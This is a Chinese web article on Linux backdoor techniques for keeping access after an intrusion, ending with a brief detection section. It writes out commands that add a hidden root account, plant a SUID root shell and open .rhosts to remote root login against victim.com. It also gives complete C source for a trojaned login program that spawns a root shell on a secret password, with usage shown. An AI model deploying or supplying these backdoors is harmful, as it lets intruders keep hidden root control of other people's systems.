dedecms织梦内容管理系统    
首页 | java | C/C++ | PHP | 操作系统 | ajax | 脚本编程 | 安全技术 | 本站下载页 | flex | CRM | 专题 | QQ群 | 测试中心 | 会员中心 | 积分规则
  当前位置:主页>操作系统>linux>文章内容
黑客高级技巧 Linux后门技术及实践(上)
来源:赛迪网 sixth 作者:liuyu

后门简介

 

入侵者完全控制系统后,为方便下次进入而采用的一种技术。一般通过修改系统配置文件和安装第三方后门工具来实现。 具有隐蔽性,能绕开系统日志,不易被系统管理员发现等特点。

 

常用后门技术

 

增加超级用户账号

破解/嗅探用户密码

放置SUID Shell

rhosts + +

利用系统服务程序

TCP/UDP/ICMP Shell

Crontab定时任务

共享库文件

工具包rootkit

可装载内核模块(LKM)

 

增加超级用户

 

 

# echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd 
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

如果系统不允许uid=0的用户远程登录,还需要增加一个普通用户账号。

 

破解/嗅探用户密码

 

获得shadow文件后,用John the Ripper 工具破解薄弱的用户密码。安装sniffit等嗅探工具,监听telnet、ftp等端口,收集用户密码。

 

放置SUID Shell

 

 

# cp /bin/bash /dev/.rootshell 
# chmod u+s /dev/.rootshell

 

普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。

 

 

rhosts + + 

# echo "+ +" > /.rhosts 
# rsh -l root victim.com csh -i

 

远程可以得到一个rootshell。

利用系统服务程序。

 

修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I ;用trojan程序替换in.telnetd、in.rexecd等inted的服务程序,重定向login程序。

 

TCP/UDP/ICMP Shell

 

BindShell,大部分是基于TCP/UDP协议的网络服务程序,在高端口监听,很容易被发现。Ping Backdoor,通过ICMP包激活后门,形成一个Shell通道。TCP ACK数据包后门,能够穿越防火墙。

 

Crontab定时任务

 

通过Crontab程序调度已安装的后门程序定时运行,一般在深夜时段,是系统管理员不在线的时间。

 

共享库文件

 

在共享库中嵌入后门函数使用后门口令激活Shell,获得权限能够躲避系统管理员对二进制文件本身的校验。

 

工具包Rootkit

 

包含一系列系统及后门工具:

 

- 清除日志中的登录记录

- 伪装校验和

- 替换netstat、ps等网络工具

- 后门登录程序易于安装和使用

 

可装载内核模块(LKM)

 

LKM:Loadable Kernel Modules 动态的加载,不需要重新编译内核。

 

截获系统调用,具有隐藏目录、文件、进程、网络连接等强大功能。

 

自身隐蔽性好,发现难度较大。

 

著名的LKM包有adore和knark。

 

后门的检测

 

以自己的经验,结合特定的工具,手工作一些检测。使用Tripwire或md5校验来检查系统。借助IDS系统,监听到目标机器的可疑网络连接。

 

实例:Login后门

 

入侵者先把原始的/bin/login备份,再用一段程序替换/bin/login。入侵者telnet登录进来的时候,通过环境变量或者终端类型,传递了正确的后门密码,将直接获得一个Shell;如果是普通用户登录,将会重定向到原始的login文件,来处理正常的登录。

 

最简单的login后门ulogin.c源代码如下:

 

实例:login后门

 

 

#include <stdio.h> 
#define PASSWORD "passWORD" 
#define _PATH_LOGIN "/sbin/logins" 

main (argc, argv, envp) 
int argc; 
char **argv, **envp; 
{ 
 char *display = getenv("DISPLAY"); 
 if ( display == NULL ) { 
  execve(_PATH_LOGIN, argv, envp); 
  perror(_PATH_LOGIN); 
  exit(1); 
 } 
 if (!strcmp(display,PASSWORD)) { 
  system("/bin/csh"); 
  exit(1); 
 } 
 execve(_PATH_LOGIN, argv, envp); 
 exit(1); 
}

 

利用后门登录

 

首先Telnet服务是打开的,在自己机器上:

 

 

bash$ export DISPLAY=passWORD 
bash$ telnet victim.com 
Trying xxx.xxx.xxx.xxx... 
Connected to victim.com (xxx.xxx.xxx.xxx). 
Escape character is '^]'. 
% _

 

Strings命令

 

strings命令能够打印出二进制文件中的可显示字符串,用于刚才的ulogin程序:

 

 

bash$ strings ulogin 
/lib/ld-linux.so.2 
.............. 
DISPLAY 
/sbin/logins 
passWORD 
/bin/csh

 

加密后门密码

 

1,采用DES算法,即crypt( )函数,编写gen.c程序:

 

 

#include <unistd.h> 
main(int argc, char *argv[]) 
{ 
if (argc != 3) { 
printf("usage: %s <password> <salt>\n", argv[0]); 
exit(1); 
} 
printf("%s\n", crypt(argv[1], argv[2])); 
}

 

2、编译为gen,执行./gen hack ui,得到的shadow结果为UiVqMWvDrIQjA。


上一篇:Linux系统下C语言编程工具详细介绍(下)   下一篇:黑客高级技巧 Linux后门技术及实践(下)
[收藏] [推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
用户名: 新注册) 密码: 匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论
  热点文章
·Linux常用基本命令及应用技巧
·写得蛮好的linux学习笔记
·学会在Linux下对硬盘分区
·找回Redhat的超级用户密码
·Linux下C语言编程
·GDB教程
·Cron服务配置详解
·Linux与Unix二大操作系统编程的
·Linux 2.6 内核的嵌入式系统应用
·Linux和Windows系统调用的比较
·vim命令(一)
·vim 命令(二)
  相关文章
·Linux系统下C语言编程工具详细介
·黑客高级技巧 Linux后门技术及实
·Linux系统下C语言编程工具详细介
·资深Linux程序员的开发经验谈(上
·Linux系统下的C语言开发都需要学
·资深Linux程序员的开发经验谈(下
·Linux下的C编程实战之开发平台搭
·Linux下的C编程实战之文件系统编
·Linux下的C编程实战之三(上)
·Linux下的C编程实战之三(下)
·Linux下的C编程实战之四(上)
·Linux下的C编程实战之四(下)
  相关信息
copy right @ 百家拳软件项目研究室 2007 辽ICP备07011763